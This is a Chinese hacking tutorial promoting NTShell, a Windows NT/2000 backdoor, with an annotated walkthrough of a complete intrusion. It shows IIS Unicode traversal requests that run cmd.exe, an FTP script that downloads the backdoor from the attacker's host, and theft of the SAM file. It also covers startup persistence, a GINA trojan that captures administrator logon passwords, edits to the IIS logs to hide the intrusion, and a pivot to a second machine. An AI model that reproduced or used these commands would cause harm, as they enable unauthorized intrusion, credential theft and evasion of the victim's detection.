NTShell是一个Window NT/2000下的类似telnet服务端的程序,当你用telnet客户端和该程序连接后,就可以使用任何命令行的程序了。实现这一功能的程序最初就是著名的netcat、ncx(从netcat里提出telnet服务端功能的一个程序,有ncx和ncx99两个版本,现已被金山毒霸列为木马)。不过ncx只实现了这一功能,使用时不大方便,比如文件的上传和下载就和麻烦,客户端要和服务端交换文件必须客户端有FTP服务或者使用其他ftp中转站(更加麻烦了),而且windows的ftp.exe程序非常特殊,在这种情况下使用非常不方便。因此我开发了这个NTShell程序,这个程序除了支持类似telnet的功能之外,还内建了其他有用的命令和命令行选项,具体内容和使用方法可以看NTShell的帮助,运行环境只有Windows NT和windows 2000。
NTShell最主要的内置命令包括直接上传文件、下载文件、进程管理、添加自动运行、安装窃听登录密码的木马。然而由于标准的telnet客户端不能理解NTShell的上传和下载文件通信,因此我还开发了NTShell的客户端,否则不能使用直接上传和下载文件功能。我也推荐使用这个客户端,因为除了此功能外, NTShellc还有命令行缓冲和命令行编辑(一次命令只有在回车后才发送,在此之前如果输入错误可以更改;而使用标准的telnet,你没一次按键都会发给服务器,因此有时很不方便)功能。它可以在各个Windows系统里运行,详细情况见 NTShellc的帮助。
以'>'开头的是客户端的信息输出,以'#'开头的是客户端的信息输出。而以'//'开头的行是我的注释,一次命令前说明目的,使用命令后是结果分析。
//使用示例开始
//在本机运行客户端,
F:\hacktool\ntshell>ntshellc
NtShell Client Program.
> Type Help to see the commands
//连接目标计算机的www服务
NTShellc>o 192.168.0.1 80
> Connect to 192.168.0.1 at Port 80 ...
> Connected with the server.
//请求一个已知的文件,浏览它的网站知道该文件的位置
GET /iissamples/default%c1%1csamples.ASP /HTTP/1.0
HTTP/1.1 404 找不到对象
Server: Microsoft-IIS/4.0
Date: Sat, 10 Feb 2001 15:08:26 GMT
//找不到文件,IIS4.0,应该是%1%9c,
//再来,
NTShellc>o 192.168.0.1 80
> Connect to 192.168.0.1 at Port 80 ...
> Connected with the server.
GET /iissamples/default%c1%9csamples.asp HTTP/1.0
HTTP/1.1 200 OK
//行了,找到了,
//下面要试试,哪些web目录在和系统在同一个逻辑盘上
GET /scripts/..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
//找到了,就用它了
Directory of C:\Inetpub\scripts
01-01-09 02:58p <DIR> .
01-01-09 02:58p <DIR> ..
00-08-28 05:30p <DIR> proxy
00-08-28 05:30p <DIR> tools
4 File(s) 241,424 bytes
850,364,416 bytes free
> Connection closed
NTShellc>o 192.168.0.1 80
//拷贝cmd.exe,其实在 GET 命令最后没有HTTP/1.0 也行,以后就省了
GET /scripts/..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+copy+\winnt\system32\cmd.exe+dmc.exe
HTTP/1.1 502 网关错误
Server: Microsoft-IIS/4.0
Date: Wed, 07 Feb 2001 09:47:20 GMT
Content-Length: 190
Content-Type: text/Html
<head><title>CGI 运用程序中出错</title></head>
<body><h1>CGI 错误</h1>指定的 CGI 应用程序因为没有返回完整的 HTTP 标题而运行不正
常。它返回的标题是:<p><p><pre> 1 file(s) copied.
</pre>
> Connection closed
//不理它, 1 file(s) copied. 没有访问拒绝就行
//下面就方便了,赶紧把ntshell上传, 就使用ftp脚本吧。依次执行以下命令:
GET /scripts/dmc.exe?/c+echo+open+x.x.x.x>ftp.bin
GET /scripts/dmc.exe?/c+echo+anonymous>>ftp.bin
GET /scripts/dmc.exe?/c+echo+test@test>>ftp.bin
GET /scripts/dmc.exe?/c+echo+binary>>ftp.bin //一定要有这步,不然有的上传的文件内容变了
GET /scripts/dmc.exe?/c+echo+get+ntshell.exe>>ftp.bin
GET /scripts/dmc.exe?/c+echo+quit>>ftp.bin
//看看文件内容写的对不对,
GET /scripts/dmc.exe?/c+type+ftp.bin
HTTP/1.1 502 网关错误
Server: Microsoft-IIS/4.0
Date: Wed, 07 Feb 2001 14:57:14 GMT
Content-Length: 232
Content-Type: text/html
<head><title>CGI 运用程序中出错</title></head>
<body><h1>CGI 错误</h1>指定的 CGI 应用程序因为没有返回完整的 HTTP 标题而运行不正
常。它返回的标题是:<p><p><pre>open x.x.x.x
anonymous
test@test
binary
get ntshell.exe
quit
</pre>
> Connection closed
//OK
//好的,执行ftp
GET /scripts/dmc.exe?/c+ftp+-s:ftp.bin
//等一会,看看文件是否上传完成
GET /scripts/dmc.exe?/c+dir
Directory of C:\Inetpub\scripts
01-02-07 10:58p <DIR> .
01-02-07 10:58p <DIR> ..
98-11-11 04:04a 241,424 dmc.exe
01-02-08 12:24a 64 ftp.bin
01-02-08 12:25a 53,248 ntshell.exe
00-08-28 05:30p <DIR> proxy
00-08-28 05:30p <DIR> tools
7 File(s) 294,736 bytes
854,074,368 bytes free
//下面执行ntshell,
GET /scripts/ntshell.exe HTTP/1.0
//这个请求直到ntshell提出才会结束,因此我们不能等它
//ctrl+c结束这个连接,退出程序。
//再次进入
F:\hacktool\ntshell>ntshellc
NTShellc>o 192.168.0.1
> Connect to 192.168.0.1 at Port 22 ...
> Connected with the server.
let me in
Use 'net helpmsg xxx' to see detail message of Error Code.
# Cannot Load 'psapi.dll', cannot manage process,
please upload the 'psapi.dll' come with NTShell!
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
//马上把ftp脚本删了,不然连ftp的ip、用户名、密码全被人看见了,
C:\Inetpub\scripts>del ftp.bin
//没有psapi.dll,上传一个
C:\Inetpub\scripts>?put psapi.dll
//看看它的系统,
C:\Inetpub\scripts>?sysinfor
# Operation System is Windows NT 4.0,
# Build Number:1381
# Service Pack 4
//nt4+sp4的,
//去看看上次的IIS log文件
C:\Inetpub\scripts>cd c:\winnt\system32\logfiles
C:\WINNT\system32\LogFiles>cd w3svc1
cd w3svc1
拒绝访问。
//得,还没的看,以后再说吧;
//看看它的口令备份文件
C:\WINNT\system32>cd ..\repair
C:\WINNT\repair>dir sam*
00-03-31 09:15p 3,544 sam._
//虽然有用的可能性很小,不过还是那先回来再说吧,最后实在没辙了,也只好试试它了
C:\WINNT\system32>?get \winnt\repair\sam._
> download file 'sam._' 3544 bytes complete sUCcess.
//看看它都运行了什么程序,上传了psapi就可以看进程了,之前它没有这个DLL不行
C:\WINNT\system32>?pslist
# EnableDebugPrivileges Error, Code:1300
Process ID: 2 Query Process Detail infor Error
Process ID: 25 Query Process Detail infor Error
Process ID: 33 Query Process Detail infor Error
...
Process ID: 565 Query Process Detail infor Error
Process ID: *572 C:\Inetpub\scripts\ntshell.exe
Process ID: *466 C:\WINNT\System32\cmd.exe
# Total 42 processes in system.
//喔赛,都看不了,
//还有个1300是什么错误?用net看看
C:\WINNT\system32>net helpmsg 1300
net helpmsg 1300
并非所有被引用的特权都分配给调用者。
//看来guest的权限实在太小了,好在知道ntshell和它的cmd进程id,不行了下次可以杀
//看看ntshell还有什么功能
C:\Inetpub\scripts>?help
#?autorun [name file "args"] --- add the [file] to autorun when reboot,
[file] default is ntshell.exe
//可以自动运行,要试试,成功的话,下次的连接后可能就是admin,而不是现在什么都干不了的guest了
C:\Inetpub\scripts>time
time
当前时间: 5:33:27.32
输入新时间:
//它的时间和我的差不多,行了
C:\Inetpub\scripts>?autorun ntshelld ntshell.exe "-until 2:00 -pass "a b c" -last 60"
# file 'C:\Inetpub\scripts\ntshell.exe' has added to autorun at
C:\WINNT\Profiles\All Users\「开始」菜单\程序\启动\ntshelld.lnk
//看来没在注册表中找到位置,到底在开始菜单中找到一个可以运行的地方,
//好了,等着系统重起动吧.
//(一定注意参数作为一个字符串,使用" "括起来,不然可能就不对了。
// 这个参数的意思是“程序运行后,直到夜里2点开始监听连接,
// 持续监听60分钟,连接后使用"a b c"作为口令”)
//在内置命令中还有这样一个
#?installgina [ntshellgina.dll] --- Install the NtshellGINA trojan.
if Success, after reboot, the LOGON user:pass:domain
is stored in file SYSTEM32\msole32.srg
//这可是一个获得登录密码的好机会,怎能不试?
C:\Inetpub\scripts>?installgina
# Try to Open File 'NTShellGINA.dll' Error, Be Sure provide the
right NTShellGINA.dll path, code:2. Cannot Install the NTShellGina.
//没有dll文件,上传NTShell自带的dll文件NTShellGINA.dll,
//先看看我的当前目录
C:\Inetpub\scripts>?put aaa
> Open file 'aaa' error, be sure the file exist,
> the CURRENT DIR is: F:\hacktool\ntshell
//上传ntshellgina.dll
C:\Inetpub\scripts>?put ntshellgina.dll
> contact with server....
> Transfer file begin....
#ready to upload file 'ntshellgina.dll'...
> Transfer file 'ntshellgina.dll' complete success.
#Upload file ntshellgina.dll completed success, received total 40960 bytes.
//安装这个木马
C:\Inetpub\scripts>?installgina ntshellgina.dll
# Try 1st Method FAILED! Open Registry for set value error, code:5
# Try 2nd Method, Please wait...
# Try 2nd Method FAILED, u may cannot Access MSGINA.DLL, code:5
//shit,安装不上,看来是权限不够,不过好在自动运行添上了,下次再试了,go
C:\Inetpub\scripts>?quit
> Connection closed
NTShellc>q
F:\hacktool\ntshell>
//sam._也先不破解了(这是没有办法的办法),过两天在夜里2点到3点之间进行连接,
NTShellc>o 192.168.0.1
> Connect to 192.168.0.1 at Port 22 ...
> Connected with the server.
//连上了,ok,输入上次添加自动运行时指定的密码
a b c
//试试这个shell
C:\WINNT\system32>?pslist
Process ID: 2 System
Process ID: 28 \SystemRoot\System32\smss.exe
Process ID: 32 \??\C:\WINNT\system32\csrss.exe
Process ID: 38 \??\C:\WINNT\system32\winlogon.exe
Process ID: 48 C:\WINNT\system32\services.exe
Process ID: *198 J:\ntshell\Document\ntshell.exe
Process ID: *170 C:\WINNT\System32\cmd.exe
//这个权限很大,好像是admin的,
//再看看上次的log
C:\WINNT\system32\>cd logfiles
C:\WINNT\system32\LogFiles>cd w3svc1
C:\WINNT\system32\LogFiles\W3SVC1>?get C:\WINNT\system32\LogFiles\W3SVC1\ex010205.log
//把记录改改,再给他put回去
C:\WINNT\system32\LogFiles\W3SVC1>?put ex010205.log
//再安装GINA木马试试
C:\Inetpub\scripts>?installgina ntshellgina.dll
# Try 1st Method FAILED! Open Registry for set value error, code:5
# Try 2nd Method, Please wait...
# Try 2nd Method Success!! You can read the 'MSOLE32.SRG' file
for logonUser:PassWord:Domain
//第二种方法成功了,OK,什么用处?重起动后,登录密码会存储在MSOLE32.SRG里,
//棒!也不用l0pht破解密码了。
//好玩,再试试
C:\Inetpub\scripts>?installgina ntshellgina.dll
# Try 1st Method FAILED! Open Registry for set value error, code:5
# Try 2nd Method, Please wait...
# The Trojan 'ntshellgina.dll' u want to install SAME with file 'MSGina.dll',
NOT need to install, otherwise the system maynot bootup!!
Check system32\MSOLE32.SRG for password NOW!
//喔,安装过了,不能在安装了,否则可能导致NT不能启动,很危险,还是别玩了
//等着下次看'MSOLE32.SRG'中的密码吧。
//也不用net user,net localgroup添加admin用户了,更改用户的设置容易被发现
//如果?installgina失败只能添加,现在既然成功了,看看再说,
//要是知道了admin的密码就省事了。go
C:\Inetpub\scripts>?quit
> Connection closed
NTShellc>q
F:\hacktool\ntshell>
//过两天在夜里2点到3点之间进行连接,
NTShellc>o 192.168.0.1
> Connect to 192.168.0.1 at Port 22 ...
> Connected with the server.
a b c
//赶紧看看有没有%systemroo%\system32\msole32.srg
C:\Inetpub\scripts>cd \winnt\system32
cd \winnt\system32
C:\WINNT\system32>dir msole32.srg
dir msole32.srg
C:\WINNT\system32 的目录
01-02-18 11:03p 46 msole32.srg
1 个文件 46 字节
555,089,920 字节可用
//看看内容
C:\WINNT\system32>type msole32.srg
type msole32.srg
Administrator:testabc:mydomain
Administrator:testabc:mydomain
//哇,密码,admin的,太棒了
//好了,这台机器B行了,试试跳板功能
//把ntshell的客户端拿过来,再看看其他机器C,
C:\WINNT\system32\LogFiles\W3SVC1>cd \inetpub\scripts
C:\Inetpub\scripts>?put ntshellc.exe
//在B运行它,
C:\Inetpub\scripts>ntshellc
NTShellc>o 192.168.0.45 80
> Connect to 192.168.0.45 at Port 80 ...
> Connected with the server.
GET / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://192.168.0.45/index.html
//嗯,C是台win2k+iis5, 如发炮制。
NTShellc>NTShellc>q
C:\Inetpub\scripts>
//想办法上传ntshell到C,并运行它,然后在B运行ntshellc连接C
C:\Inetpub\scripts>ntshellc
NTShellc>NTShellc>o 192.168.0.45
> Connect to 192.168.0.45 at Port 22 ...
> Connected with the server.
//从C上下个sam文件到B
D:\Inetpub\Scripts>cd \winnt\repair
cd \ winnt\repair
C:\WINNT\repair>
C:\WINNT\repair>dir sam*
dir sam*
C:\WINNT\repair 的目录
00-11-13 01:46p 3,644 sam._
1 个文件 3,644 字节
554,762,240 字节可用
//怎么下呢, 使用?get sam._吗? 试试
C:\WINNT\repair>?get sam._
> contact with server....
#The file sam._ not exist.
C:\WINNT\repair>?chdir
#Current server dir is:'C:\Inetpub\scripts'
//使用?get sam._时,?get命令由B解释,而B的当前目录是C:\Inetpub\scripts,
//自然取不到,(如果B的当前目录有这个文件,就会从B传到A来)
//使用两个??,就在C的server端和B的client端执行命令
C:\WINNT\repair>??get c:\winnt\repair\sam._
> contact with server....
#ready to download file 'c:\winnt\repair\sam._'...
> read to get file from server
> download file 'sam._' 3644 bytes complete success.
#Download file c:\winnt\repair\sam._ completed success, received total 3644 bytes.
//文件传到了B的当前目录
//再传过我这来
C:\WINNT\repair>?get sam._
//文件从B传到我的当前目录
//C的NTShell退出,一定要是??quit,不然就是B的NTShell退出了,而C的没有退出
C:\WINNT\repair>??quit
> Connection closed
NTShellc>q
//看看B上有没有sam._文件
C:\Inetpub\scripts>dir
dir
Directory of C:\Inetpub\scripts
01-02-21 23:41 <DIR> .
01-02-21 23:41 <DIR> ..
98-11-11 04:04 241,424 dmc.exe
01-02-11 05:38 65,536 ex010210.log
01-02-08 00:24 64 temp~1
01-02-18 21:35 53,248 ntshell.exe
01-02-21 23:22 45,056 ntshellc.exe
01-02-21 22:26 40,960 ntshellgina.dll
00-08-28 17:30 <DIR> proxy
01-02-21 23:41 3,644 sam._
00-08-28 17:30 <DIR> tools
11 File(s) 449,932 bytes
853,663,744 bytes free
C:\Inetpub\scripts>?quit
> Connection closed
NTShellc>q
//ok, telnet跳板基本还可以,就是有时输出重复,一般一个命令得回车两次
//不过ntshell的各种命令在跳板之间还是可用的
(出处:http://www.sheup.com)